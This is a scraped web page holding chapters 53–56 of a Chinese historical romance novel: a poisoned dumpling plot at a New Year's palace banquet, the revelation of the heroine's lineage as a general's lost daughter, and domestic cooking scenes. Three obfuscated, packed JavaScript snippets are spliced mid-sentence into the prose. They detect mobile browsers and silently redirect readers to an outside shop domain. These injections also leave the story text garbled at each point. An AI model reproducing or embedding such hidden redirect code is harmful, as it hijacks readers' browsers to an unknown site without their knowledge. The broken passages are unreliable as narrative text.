这只是除夕之夜的一个小插曲,二人很快回到厅堂的时候大家寻宝也已经回来了,阿十得了十文钱,小梅找到了一枚玉佩,张婶儿找到了一根银簪,小周带着小九找到了一堆糖果零食……大家或多或少都拿到了“宝藏”,自然也有人要被罚歌舞。 除夕之夜就在一片欢声笑语中守岁到了子时,大家唱唱跳跳打打闹闹,从未有过的放松自得,舒服自在。 只梅映禾脑子里却一直挥之不去方才许且讲的故事,那个关于向将军向夫人的故事,还有那位跟她极像的夫人。 53. 有毒的肉饺 除夕守岁是习俗是传统,宫内外皆是如此。 百姓家老少团坐共享天伦,其乐融融。皇城内亦是热闹非凡,花团锦簇、辉煌灿烂。 崇德门聚集了官员和家眷们,一辆辆香车鱼贯门前,停下后贵人们下车,朝着崇德门内大殿的方向而去。彼此间依礼问安,说着吉祥祝福的话。 申时,宫里头便逐渐热闹起来。 按照往年的习俗,除夕这日五品以上的官员应当是午时入宫赴宴,帝王犒赏众臣这一年来的辛劳和功绩,升迁和赏赐也会一并降旨,大家喜气洋洋。 至于晚间,则各自回复阖家团圆。 “据说因为陛下龙体抱恙,是以今年的除夕宴饮挪到了晚上,而且准允携家眷赴宴,想来更是热闹。” “是啊,得皇后娘娘体恤,是咱们做臣子的福气啊。” 话虽如此,可是大家心里都并不乐意,谁不想大过年的在自己家乐呵,忙了一年了,各自在府中一言九鼎,看着小辈们初长成,好容易休沐自然放松闲适得很。 如今除夕夜要来宫里头宴饮,又要提着小心周全应付,年节如此实在累人。 可是心里如是想,面上却不敢露出来,一个个端的是笑逐颜开喜气洋洋,故作放松地彼此说笑,笑得脸都僵了。 晚间,宫宴开始的时候赵行之才姗姗来迟。 若非陛下亲自派人去晋王府候着,他都不会来。军中像梅九畴这样家人在京城的毕竟是少数,大部分人无家可归或家乡远在千里之外,大家都留在军营中过年,每年的除夕夜赵行之都是陪着将士们一起喝酒吃肉发赏银玩通宵的。 终于将人接进宫里,虽然晋王殿下拉着一张脸,随行的小太监还是松了一口气,这位殿下原就是不会笑的,只要人到了他的任务就算完成了。 大殿内灯火通明辉煌灿烂,官员们按照等级就座,家眷们也伴随在侧,一眼望过去黄白之物甚是晃眼。 端坐在上的赵怀风听说他到了,笑着将人拉着坐到了距离自己最近的位置。 “云策可算来了,朕知你不喜,应付一下你便先行离开。” 近距离看到皇兄,赵行之心中一震,方才刚入殿拜见的时候还觉得皇兄的气色颇好,这近处细观才发现原来是敷了粉,好似还涂了浅淡的口脂。 如今男子也流行此风,可是赵行之知道赵怀风并非喜欢如此,还未开口便见自家兄长一脸尴尬道:“不若如此,实难见人啊。” 见他怔愣,赵怀风伸出宽袖下的手,蜡黄灰暗,干枯满皱。 “皇兄……” 赵怀风摆摆手,“今日除夕,咱们不说这个,陪皇兄痛痛快快喝两杯。” 哽在喉中的话只得咽下,赵行之艰难举杯,“祝皇兄身体康健,福泽绵长。” “愿河山无恙百姓安居,愿云策早日找到知心人。” 这是赵怀风的祝福,也是他最大的心愿,赵行之默默饮尽杯中酒一整晚都陪在赵怀风身侧,直到敬酒后烟花燃起。 璀璨的星空被映得五光十色绚烂夺目,站在城楼上看烟花近在眼前,仿佛伸出手去就能够到。 不知她们是否能看得到烟花,赵行之的目光飘向京城东南方向,那里是梅映禾新置办的宅子,这个时候他们一定在喝酒吃肉,小早一定做了许多好吃的菜,说不定还有有趣的游戏和彩头…… 看着满朝文武和家眷,唯独许且没有到场便知她们一定是幸福欢乐的。 烟火燃到一半,身边赵怀风的身形晃了晃,赵行之赶忙扶住问:“皇兄可是方才饮了酒,要不要回去歇息?” 其实方才也只是兄弟二人对饮的时候赵怀风喝了两杯,当真算不得多,只怕是身子实在疲乏难以支撑。 赵怀风点头,眼神迷离已是说不出话来。赵行之忙命人抬来软轿,亲自护送皇兄回了寝殿。 路上的时候,软轿内就传来了轻微的鼾声,李太监舒了一口气:“陛下连日来劳累,怕是困极了。” 这是一句自我开解的话,赵行之点了点头。 黑暗的甬道上起了冷风,这时候大家都在前殿热闹,连宫女太监都甚少能见到。 赵怀风送至寝殿内,宫人送来了安睡的汤药和两份肉饺。 赵怀风此时似乎恢复了些力气,指着肉饺道:“这是咱们小时候最爱吃的豚肉馅的,除夕要吃水饺,云策尝尝。” 香气四溢,是熟悉的味道。 端起水饺,第一颗还未落入口中,那若有似无的药味飘入鼻息。 “皇兄且慢。”眼看着赵怀风险些咬下,赵信之赶紧阻止,“还是先喝汤药吧。” 这药是方才李太监在殿内煎的,赵行之看在眼里,没有问题。 赵怀风无奈笑了笑,只得先喝了汤药,可是喝完汤药满嘴苦味,哪里还有胃口吃水饺,那两份肉饺便被搁下了。 看着皇兄安睡,又请来太医守在身侧这才放心离去,临走时带走了那两份有毒的肉饺。 冬日的夜风格外凛冽,可是心里却已然冰封。 要他命的人就在身侧,只要他在京城一日那人便不得安生。 这样冷肃的夜竟让他想起了多年前塞外的那场战役。 那时候他还是个初出茅庐的孩子,说是出去打仗,不如说是去散心。 赵行之仔细想了想,那时候自己不过六七岁的样子,跟在大将军身侧,倒是让大将军十分忙乱地一边指挥战役一边照顾他。他的两个儿子都比他大上七八岁的样子,经常教他舞刀弄枪,也是那时起在赵行之的心里埋下了做武将上阵杀敌的种子,也是那一次他几乎认全了所有的兵器,并且也挑选了自己喜欢的衬手的兵器。 从腰间摸出那把短刀,不甚精美的利器却削铁如泥威力巨大,这把刀跟在他身边已经十多年了,还是当年将军送给他的礼物。 赵行之习惯性用手指摩擦着刀柄顶端刻着的印章,那是将军亲自刻上去的自己的名讳,向立岩。 那次战役并不难打,于赵行之而言既是一次新鲜的体验也从此打开了他人生的大门。 生于帝王之家免不了尔虞我诈,可是赵行之是先帝最小的儿子,自然偏疼一些,这样的宠爱却为他带来了嫉妒和伤害,原本那个天真率真的孩子在一次次颠覆认知的可怕经历中逐渐变得沉默寡言,喜欢独来独往。 从前脱口而出童言无忌的少年,慢慢学会了反复思量考虑再三最终缄口不言,他喜欢亲近皇兄,可是现在他只能退避三舍远离朝堂,不想皇兄起疑,不愿为自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14558446|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己招祸,更不能成为有心之人离间他们兄弟感情的把柄。 如是想着,思绪在这夜色中犹如烟花般绽放,又消失得无影无踪,只余那绚烂之后的灰雾,难闻的味道唯有他自己知道。 前头便是永定门,这是出宫的路,赵行之不耐烦应付这样的宴会,打算逃之夭夭。 人走在廊檐下,黑色的檐影遮盖了身形,赵行之看到前头几名黑衣人扛着一个麻袋急匆匆出了永定门。 麻袋里是人,而且是活人,赵行之一眼识破心里纳罕,是谁在这样的除夕公然在宫中抢人。 悄悄逼近之后才听出麻袋里挣扎的竟是女子的声音,赵行之利索地解决掉了几个黑衣人,解开麻袋四目相对,女子头发散乱满脸瘀伤,双目含泪,被堵了口捆了手脚。 “宁馨郡主?”赵行之难以相信,借着月光仔细打量,“你不是走了吗。” 人是他亲自送走的,怎么会…… 李绾痛哭不止,即便被救也仍旧止不住地颤抖,身上衣衫单薄整个人瑟缩成一团一时失语。 赵行之将人带到了自己的私宅,找了府医看了伤又开了药,直到喝下那安神的汤药,李绾这才缓过来。 “那日王爷送我出京,其实是我私自逃出去的,我知道自己走不了,所以想借着王爷的马车方便出城。”李绾面色惨白,泪流不止,“可是还是被抓了回来,王爷,我是被逼的。” 赵行之不语,皱着眉头听她慢慢说。 “她让我勾引王爷,只要我能成为晋王妃,便能保住我的爹爹我的全家,还有他。” “我们青梅竹马一起长大,我早已与他定下终身,我不想成为您的王妃,可是我身不由己,从成为郡主的那一日起,我便注定了命不由我。” “我本想和他远走高飞,可是,普天之下莫非王土,我能逃到哪里去呢。”李绾哽咽,“今晚她们原本安排我给您下药,逼您就范,木已成舟事情便尽在掌握,可是我没有做,她们便要杀了我。” 她语无伦次讲了大概,赵行之早已听得明白。 “是谁?” 他不止一次地怀疑过他的皇兄。 从他成了太子,他们兄弟之间的感情就变了。皇兄周围的人太多了,个个都忌惮他,说他颇受先帝宠爱,手里有兵马随时会造反。 无稽之谈说得多了,便不由得人不信了。 “不是陛下。” 李绾看出了赵行之的猜测,“是……” 她死死咬着唇仿佛在犹豫,最后还是把心一横,“皇后娘娘。” “陛下龙体抱恙,她担心大权旁落,稚子年幼孤儿寡母,若是有心之人以辅政名义操控……” 赵行之抬手打断了她的话,皇嫂终究还是容不下他。 黑夜中,一颗流星划过,知道了真相赵行之心里竟没有想象中难过,最起码,在这除夕之夜让他知道,想害他的人不是皇兄,多年来的内耗和猜忌一下子水落石出,这样的结果对他而言竟是个意外之喜。 赵行之向李绾承诺,“我会派兵保你家人和你的情郎无虞,也会护送你回到江南。” 李绾磕头谢恩,离去之前再次看了他一眼,“殿下不必苦着自己,想做什么便去做,不然会后悔的。” 54. 猪肚包鸡 夜空中时不时还能看到绽放的焰火,明明依旧璀璨,在赵行之眼里却显得狰狞刺目。 命人护送李绾回江南,至于她的家人,以他的能力想要照顾到并不难办。更何况李绾的父亲宝肃亲王曾经救驾先皇,本就有恩于皇家,只需稍稍运作,令皇兄与宝肃亲王一道圣旨回乡督办赋税,这便明面上将李家推上台面,再不是有爵无实权的闲散贵人,由此,若是皇后想暗地里做小动作亦是毫无可能了。 算是为李绾彻底解决了困境,李绾跪地再三谢恩,赵行之亦是送上了祝福她们百年好合的新婚致礼。 看着得偿所愿的小娘子明明形容狼狈不堪,眼睛里却闪着灼灼的华光,仿若星河夺目璀璨。 这是由心而发的喜悦,那一刻,赵行之突然看懂了她的喜悦。 人已经安全地护送走了,佑安来禀报的时候赵行之仍旧同一个姿势坐着,手边的热茶一口未动早已放凉。 佑安自小跟着赵行之,自然知道他此刻的心绪。先帝和先皇后去了之后,王爷肉眼可见地失去了快乐和真我,想的一日比一日多,话却一日比一日少,脸上再也看不到了笑容,这些年光是躲避的刺杀、追杀不计其数。 原以为是朝中那些看他不顺眼的朝臣们所为,为了他们所谓的正统社稷不旁落,必然要除去他这个潜在的威胁。 可是后来发现并非如此,刺杀他的死士一次比一次出手凶狠,上一次若不是得梅氏兄妹相救,伤势耽搁后果不堪设想。 他早就怀疑幕后之人或处在权力之巅,为此甚为烦恼。如今骤然得知竟然是皇后,看到那同样的毒肉饺被送到他们兄弟面前,而陛下毫无防备地险些吃下,赵行之这才彻底明白,他们兄弟之间的感情或许改变过,但现在似乎又回到了从前。 只是皇后,他便没有那么大的心理负担和情感负累了。 这于赵行之而言是个好消息,故而,佑安心里也格外轻松。 屋内没有点灯,只空中骤然亮起的焰火照亮他的眉眼,冷肃消沉,不辨喜怒。 赵行之心里一直惦记着李绾临走之前送给他的话:想做什么便去做,不然会后悔的。 李绾说曾经有很多次机会,她和那位情郎本可以共赴人生,或谈婚论嫁定下婚约,是她一时犹豫,考虑自己的家世身份会给他带来压力,想等他博取功名后再向家人提及。 可是这样的蹉跎却险些毁了二人的未来甚至性命,后悔莫及之时幡然醒悟,抓住当下切勿多思自扰才是正道。 “王爷。” 佑安送上食盒,“这是方才九郎亲自送来的。” 点了灯,佑安看到王爷脸上的忧愁一扫而光,食盒送至案桌之上,他的眉眼也恢复了神采。 “何时送来的,可有说过什么。”他问,不等佑安帮忙自己动手打开了食盒。 三层漆木食盒,第一层装了红封和对联、福字还有一些窗花年画。字是许且的字,赵行之认得,年画和窗花剪得也十分繁复精美,赵行之知道这并非梅映禾的手笔,她于这项上毫无灵气。 第二层是四个菜,地锅鸡、油焖大虾、清蒸鲈鱼和猪肚包鸡。都是他素日最爱吃的菜,赵行之的目光落到了那份猪肚包鸡上。 赵行之刚刚受伤在梅花村养伤的时候,梅映禾曾经给他做过一次这道猪肚包鸡汤。是用猪肚和鸡汤熬制,健脾养胃、补虚损的功效甚好。 但是那时候的梅家还很穷,梅小早起早贪黑攒了好些日子才够做一顿这样的养身美味。赵行之记得她是个于吃上极不马虎的人,既做了便要做到尽善尽美。 除了猪肚和鸡之外,她还放了红枣、党参、黄芪和枸杞,这些材料对于当时的梅映禾可谓是下了血本,以至于后来端给他吃的时候,梅映禾一直叮嘱他,切莫忘记伤好要还钱。 想起她一遍又一遍地唠叨,赵行之的嘴角不由自主微微上扬,这个姑娘是真的真诚可爱惹人心疼。 他先尝了一勺汤羹,鲜美浓郁瞬间吊足了胃口。猪肚软糯鸡肉嫩滑,小早说过这道菜高蛋白低脂肪,他听不懂这些,但是她说这道菜最是适宜习武之人和病体未愈之人食用,那便不会错。 浓香飘入鼻息,佑安不由自主吸了吸鼻子,可真香啊。 四道菜赵行之一个人也吃不完,于是佑安又一次沾光吃上了美味。 地锅鸡香辣下饭,油焖大虾肉质丰厚味道鲜美,清蒸鲈鱼虽淡雅却还原了鲈鱼本真的香味,真是比皇宫中的御宴好吃百倍。 最下层的屉子里装了水饺,也是豚肉的,佑安分出来装在两个小碗里,赵行之一口咬下去,竟比日思夜想的小时候的味道还要好吃,只是……硌牙。 从嘴巴里拿出东西,竟然是一枚铜钱。 佑安忙道:“恭喜王爷,九郎特意交代这是梅东家的巧思,说是谁吃到了带钱的饺子,来年必定发财顺遂、平安喜乐。” 呵,她还真是会蒙人,赵行之的脸上绽开了笑容,看得佑安都觉得不可思议,多少年了,王爷从未像现在这般笑过了。 那枚铜钱被赵行之擦了又擦,仔细地收藏起来,接下来便是第二枚、第三枚、第四枚…… 佑安:…… 明明这么多,为什么我一个都没吃到。 赵行之在吃到第十二枚铜钱的时候实在忍不住笑出声,“就知道她会如此,可是实在太硌牙了,这么好吃的饺子都浪费了。” 于是他索性将所有的饺子都戳破,将铜钱拿了出来,然后认真满足地边数铜钱边吃饺子,足足十八枚。 赵行之又笑了,这个梅小早还真是执着,她总是把“十八要发”挂在嘴边,赵行之不明白她何处看来这样的理解,倒是觉得有趣得紧。 一餐饭四个菜吃了半个多时辰,佑安看着自家王爷从冷脸到开怀,整个人都亮了起来。 收拾了食盒,赵行之写了道歉的信,封了大红包交给佑安,让他送去梅府新居。 “王爷何不自己去一趟,想来大家也是想念王爷的。”佑安提议,他也想去。 赵行之觉得有理,于是转到屏风后头去更衣。 李绾说得对,想做什么便去做,思量再三错过了时机一切都不一样了。 赵行之觉得自己像个呆子一样,这些年从未有过的自省和自责。这些日子跟梅小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14572616|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早较劲,怪她不依不饶,怨她不理解他的纡尊降贵,他明明已经有求和的意思了,她明明已经看懂了为何就是如此固执。 这对于一个高高在上习惯于众星捧月的王爷而言,实在是难以接受。 可是现在他想通了,梅映禾若是像他们一样将他当成王爷看待,自然也会恭敬顺从,甚至讨好奉承,可是那才不是他想要的。她如今坚持原则才是最好的,正如她自己所言,就算此事是她亲哥哥所为,她也一样如此。 这是没把他当外人。 而且,是他有错在先,诚恳地道歉真心悔过才是正道,至于其他……赵行之低头笑了笑,或许会开出更美丽的花朵。 他更衣的速度虽迟了些,却破天荒地为自己簪上了玉簪戴上玉佩压襟,又特意从私库里拿出一支玉色极好的鱼簪。 梅映禾喜欢鱼,她常说:“鱼同餘同裕,富裕有餘。” 这枚玉簪曾是他母后之物,作为赔礼她应当是喜欢的吧。 走出房间,外头的焰火已然停了下来,空气中飘浮着隐隐的尘味。 佑安急匆匆从外头进来,手里拿着一封信,大约是没想到他已经走出房间,竟怔愣了片刻似乎在犹豫什么,手里的信封也下意识藏在了身后。 “何事。”赵行之问,脚步却是没停。 佑安躲不过,低声道:“是从南边传来的消息,想来也不急在这一时拆看,我放在书房里,王爷先去梅府新居,回来再看。” 他神色匆匆眼神躲闪,赵行之伸手拦住,“给我。” 佑安躲不过只得将信封奉上,看着他仍旧盯着自己的眼神,只得如实禀报:“去探查梅小娘子的身世有了线索,是……” 佑安不敢提及,却再次对上他凌厉的眼神时不得不道:“梅映禾原名向云早,字生烟?,乳名小早,是……是向立岩将军的幺女,生于……生于向将军灭门那年。” “向夫人的贴身婢女贞娘嫁给了向将军的副将梅展翔,当时带走了刚满月的向云早,她便成了梅家宠着长大的小女儿梅映禾。两年前,梅家夫妻被人发现真实身份,借着水患夫妻二人被人害死,为抹掉一切证据,梅花村所有的籍属证明全部损毁。若不得好心人发现相救,恐怕这兄妹二人也难幸免于难。” 脚步顿住,“当啷”一声脆响,玉簪落地四分五裂,碎玉迸溅,划破了他的手指。 向立岩可谓是赵行之的启蒙之师,云岗战役时向家父子三人上阵杀敌,英勇拼杀十日抗击外敌,拼尽最后一口气保住了云岗,却被诬陷通敌谋逆全族被杀。 满朝文武除了他的老师许且无人替这位危难之时救下大隶的大英雄说一句话,当时还是稚童的赵行之曾哭着求父皇,却遭到了一顿训斥被禁足十日。 十日后他出去第一件事便是去向府,那里却早已颓败。空空如也的院落,才几日光景枯枝败叶落了满地,被抄家过的痕迹犹在,甚至能看到已经干涸发污的血迹,那些他曾经熟悉的一切都不复存在了。 他还曾同向将军约定,幺女的满月酒他定要收到请柬,并已精心准备好了人生第一份满月礼,一对精巧漂亮的金镯。 55. 铁板炙肉 一向梦少的梅映禾在除夕之夜做了一个梦。 梦见自己在一栋宅院里头,春日正浓花团锦簇,鸟雀鸣鸠蝶飞蜂舞。这是一个五进院落的大宅院,家仆穿梭敛声屏气目不斜视,目光所及之处无不精致优雅、美轮美奂。 宅子的最深处有一个巨大的花圃,种满了各种花卉,姹紫嫣红分外妖娆,一位婀娜端庄的夫人正含笑侍弄花草,身边是欢笑跑跳的孩子们,两个男孩还有一个乳母抱在怀中的粉□□婴。 那位美丽的夫人正是义父昔年的朋友之妻,向夫人。 那这便是那个向将军的宅院了,这几个孩子应当也是他们的孩子吧,梅映禾想着。 两个男孩正在比试武艺,张弓搭箭英姿飒爽,虽然只是十几岁的小儿郎却个个气宇轩昂风度翩翩。 “阿娘,这是我给妹妹做的羽簪,是我跟爹爹在塞外所射猎的大雁尾羽制成,阿娘看好看吗?” “好看,你妹妹长大了戴上一定好看。” “阿娘看我的,这是我给小妹做的弹弓。” “女娃家要这做甚?” “我们的妹妹虽是女娃也定是女中豪杰,将来定会喜欢。” …… 母子三人热络地聊着天,美夫人逗弄着怀里可爱的婴孩儿,好一幅其乐融融的画卷啊。 倏然,狂风大作乌云遮日,霎时间天地混沌黑成一片。 大风过后梅映禾眼前的祥和美景不见了,原本葱茏葳蕤的庭院变得干枯凋敝,满地狼藉还有血痕和污迹。 向家上下待罪跪在地上,向将军被指谋逆叛乱、通敌窃国,向夫人刑具加身戴枷伏地,两个稚子亦是满身伤痕成了阶下囚。 “冤枉,臣请面圣。” 向将军一遍一遍磕头痛诉,直至满头污血也无人应答。 满院子的禁卫军,被抄家流放的官吏甚至不如平头百姓,如牲口一般被人呵斥推搡甚至辱骂鞭打。 这样截然不同的两种境况只在瞬息之间,梅映禾旁观,本觉与自己无关却不知为何心里隐隐作痛,是那种钻入腹内撕心裂肺的痛。 天地万变,眼前的景物又焕然一新,这里换了主人,变得不再花团锦簇而是假山连绵怪石嶙峋,没有了鸟鸣鱼跃的生气,满眼枯木山水禅意深深。 两种不同的园景,出自不同的主人之手。 只是……这枯山水的景致怎么看着都觉得颇为眼熟。 穿廊绕壁,眼前的男子长身玉立、俊朗出尘。 “七哥。”梅映禾脱口而出,这才恍然大悟,难怪觉得眼熟,这不正是赵行之的私宅别院吗,她来过的。 见到了相熟的人,梅映禾欢笑着跑过去想要同他更近一些,谁知却被不知从哪里冒出来的禁卫军拦住了。 “罪臣之后本应问斩,作何还能苟且偷生十余年,是何人胆敢违抗圣旨包庇你?” 面前的人长得跟七哥一模一样,可是他却疾言厉色,眸光中带着狠绝,“来人,将向云早拉下去即刻问斩。” 两边的禁卫军上前将梅映禾五花大绑拖了下去,任凭她如何呼救解释,赵行之都充耳不闻。 人头落地血溅当场的瞬间,梅映禾被噩梦惊醒。 窗外是灿烂的日光,耳中能听到街面上嘻闹的欢笑声和燃放爆竹的噼啪声。 这才对嘛,今儿是大年初一,新年啊。 梅映禾长出了一口气,这一觉竟睡到了日上三竿,再想想方才那个诡异离奇的梦,抽了抽嘴角,定是义父讲的故事太过惨烈了,惹得她噩梦连连,以至于现在想起向将军一家仍心有余悸狂跳不止。 使劲摇了摇头,梅映禾起床洗漱,这样过年的好日子她突然很想打扮自己一下。 新的一年人也大了一岁,妆奁里摆满了小梅姐送给她的各色钗环发簪耳坠,还有胭脂水粉应有尽有,梅映禾不是不会化妆,相反,她很擅长此道,只是过去的日子不好过,买不起,后来赚了钱买得起了却没有时间装扮自己。 敷粉画腮,精修了眉眼又染了口脂,还特意在眉心花了一朵梅花的花钿,再换上新衣,白色锦缎绣银线暗纹短上衣,大红色绣梅花长裙,整个人好似一朵绽放的红梅于落雪的枝头傲然挺立,美得艳丽张扬。 按照后世的习俗,梅映禾拿出为每个人准备的红包才走出房门。 院子里静悄悄的,或许大家都在前院儿吧,梅映禾拿着厚厚一沓红包往前院儿去。 这宅子并不大,跟梦里的那大宅院没法比,出了月洞门就是前院儿,一样的安静,只余日光洒下,照得一地金黄。 “阿爹新年好。”梅映禾看到了坐在院子里晒太阳打瞌睡的许且,老人家有了年岁总是迷迷瞪瞪地爱睡觉。 听到她的声音许且睁开眼,眼前美丽的身影让他怔了片刻,那一瞬仿佛回到了十多年前刚认识向氏夫妻的时候,她真的跟向夫人太像了。 “好看吗?”年轻的小娘子已至近前,优雅俏皮地转了个圈,大大方方地展示自己的美貌,笑得灿烂夺目。 还是不一样,小早比她的娘亲更明媚夺目,她是不会让自己受半点委屈的性子。 “好看,小早最好看。”许且笑着从怀里抽出一张红封递给她,“收下,阿爹的祝福。” 新年红包必是要收下的,梅映禾笑着道谢接过后就撇嘴,“阿爹的红包好薄啊。” 说什么来着,她是真的一点儿亏都不吃,许且笑道:“还没打开呢,此言过早了。” 梅映禾挑了下眉,打开红封,竟然是一张交子,整整一千两。 “阿爹这也太多了吧。” “不多,阿爹还有呢,你留着。” 老大人俸禄不低,这些年越老越吝啬,根本舍不得花钱,攒下了大笔家资,在认下梅氏兄妹后才觉得给孩子们花钱是一件幸福的事。 二人坐在喝茶说话,梅映禾看着空空的院子问:“人都去哪里了,哥哥不会还没起床吧。” 今日喝的是蜜茶,放了红枣、蜂蜜和梅花干,口感清甜醇香爽口。 “他们早都出去玩了。”许且掰着手指细数,“你哥嫂一早就去了城东的将军庙,说是灵验得很,他当初拜了将军才得以入了军营,今日带着小梅还愿去了。” “奎叔和李婶儿去文庙逛去了,他们久不来京城,想去看看热闹。” “周大厨和你周嫂子去赴宴了,偏偏小周不愿意去,跟着阿十带着两只小狸奴出去玩了,我给了他们银子买炮仗糖人去了。” “家里的老仆也都放出去了,今日过年,不必拘束,爱干什么干什么。” 老大人一个人坐在太阳里,脸上的笑容都闪着金光。 梅映禾将头放在他的腿上,撒娇道:“看来只有我最懒,睡到这会儿才起床。” “我们小早最辛苦,喜欢睡觉的女娃最聪明。” “我做什么阿爹都觉得好。” “那是自然。” 父女两个有一搭没一搭地聊天说话,眼看着就到了午时,家里人没有回来的迹象,想来是要在外头吃饭了。 梅映禾起身,“今儿就咱们爷俩,咱们也尝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14596785|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尝新鲜的,那些个炒菜都吃腻了,咱们午食吃铁板炙肉。” 铁板炙肉是后世的吃法,将各种肉腌制入味,放到烤热的铁板上烤熟,再蘸取秘制酱料,味道鲜美,蘸料不同口感不同。 梅映禾做好的时候许且已经迫不及待了,看着那一碟碟料不知从何下手。 “这是干辣碟,这是甜酱油,这是酱汁碟,味道不同,都可以蘸取,阿爹尝尝。” 先烤五花肉,肥瘦相间简直不要太香了,梅映禾还将鸡子磕在烤盘边缘,还有香蕉、裹着乳酪的玉米粒、切了花刀的香菇头、土豆片、白菜叶…… 许且一口接一口吃得停不下来。 五花肉、鸡胸肉、鸡腿肉、牛肋排、牛板腱、鱼肉片、烤虾子……若是觉得腻,还可包着菜叶,增加了爽口感也补充了水分。 最后再来一份酱料拌饭和一份热汤,这餐饭吃得相当满足。 梅映禾也是许久未曾这样酣畅淋漓地吃烤肉了,心里盘算着开了春这种吃法可以放到新酒楼里。 “若是云策在这里,这些菜都不够他吃的。”许且似乎想起了从前,“他小时候就喜欢吃肉,那时候的云策还是个胖小子。” 梅映禾脑子里浮现出了缩小版肥胖版的赵行之,别说,还真挺可爱的。 看着她笑得眉眼弯弯,许且问:“你们两个还没和好吗?” 梅映禾:…… 是挺幼稚得哈。 “多大了不起的事,你说是吧。” 梅映禾嘻嘻笑着,“是,是我小心眼了。” 许且笑了不再多言,心里盘算着初一不待客,过两日那小子必然登门。 可是等了几日,直到初五迎财神,梅映禾带着店里所有的人恭恭敬敬地迎了财神爷准备重新开张了,也没见到赵行之的影子。 梅九畴初七日便要回军营去了,这意味着初七之后他便更不得空了。 递消息也不方便,许且便催着梅映禾去了一趟晋王府,就说许大人邀请晋王殿下过府一叙。 梅映禾自然明白这是义父为她着想,怀里揣着名帖心里盘算着的确自己有些过分了,本没什么大事何必如此上纲上线,七哥是什么样的人,这大半年她也是看得明白的。 皇家贵族的脾气的确是有,但是为人正直仗义,是个挑不出大毛病的男子汉。至于对待小娘子的粗鲁和冷淡,义父说得对,着实是因为他没有经验,太过粗枝大叶思虑不周,却不至于上升到人品的程度。 见了面,还是先问个好自己嘴巴甜一些道个歉便是了,七哥不会计较的。 梅映禾盘算着,马车停在了晋王府门前。 大门紧闭,很是奇怪。 梅映禾上前叫门,许久之后门房才来开门,说是王爷入宫去了。 “哦,好吧。”看了看手中的名帖,想了想还是决定亲自交给他。 于是梅映禾走了,打算明日再来。 可是第二日仍旧没见到人。 次日便是初七,是哥哥们回军营的日子,梅映禾无奈将名帖留给门房,叮嘱道:“请王爷回来了过府一趟。” 门房应下,关了大门。 黑森森的晋王府大门,威严有之热闹不足,同街面上的新年气氛完全割裂,显得格外冷清孤独。 直到过了初七,梅九畴走了,梅映禾也没等来赵行之,眼看着铺子上忙起来,新酒楼的开业也要赶紧安排起来,这件事便搁下了。 梅映禾一猛子扎进忙碌中,再想起来的时候已经过了正月十五,眼看到了正月底了。 56. 张扬一些又何妨 许且登门的时候,晋王府的门房仍旧是那套说辞,只不过话没说完就被老大人踹了个大马趴。 这位大人连陛下都要礼让三分,自然无人敢说什么,门房的小厮趴在地上不敢出声,许且径直奔向赵行之的书房。 书房门口遇上王府老管家和佑安,看到老大人亲自来了,没有惊慌、阻拦,甚至没有为难的表情,二人看向许且的眼神中竟然是……期待。 那一刻,许且的脚步顿了一下,大致的情形他猜到了。 赵行之的脾气就是这样,有什么事情想不明白的便会将自己锁在房中不吃不喝不见人,许且曾经说过他如此消耗自己实属没有必要,可是奈何性子很难改。 若说他何时养成了这样的脾性,许且是从赵行之开蒙便教导他,这个学生自小是个开朗直爽的性格,这些年没有什么了不起的大事发生,但就是这样一桩桩一件件小事,足以搓磨得一个人改了性,潜移默化之中便成了另一个人。 赵行之从儿时的开朗直爽、张扬恣意变得多思沉默,瞻前顾后。 他是个感情丰富的好孩子,故而才会如此顾念到每一个人而想要周全,最终不得不委屈自己,长此以往人变得越来越寡淡冷清了。 门被推开,满室冰凉。 炭火早已熄灭,茶水也不知放了几日,空气中飘浮着灰尘,赵行之石头像一般坐在书案后头,眼下乌紫面容憔悴蜡黄。 许且扫视一眼屋内,命佑安打扫房间,“我带你家王爷去寝殿更衣,稍后送些吃的过来。” 佑安应是,和拭泪的老管家一并下去,二人的欢喜肉眼可见。 “你是自己走,还是要我这个老头子踢着你走。” 许且瞪着自己最心爱的学生,他的样子实在令人心疼。 赵行之抬起眼,满目红丝,“梅映禾是向云早,老师早就知道。” 这似是一句问,又似是一句答。 许且不语,算是默认。 “呵。”他发出了一声轻笑后便再说不出一句。 “云策。”许且叹息,“若你真心为她,那便同老夫一起将当年未完成的事完成。” 先帝下旨处决了被定为谋逆之罪的向将军满门,这样的话说出来是大逆不道,但是许且在知道梅小早身世的时候便已下了决心。 “在查到梅花村籍属证明丢失的时候,老夫便有所怀疑,于是私下里查了个清楚。”许且两根手指捏着他的衣袖,赵行之便随着他的力道起身,木然地跟着老师走出书房。 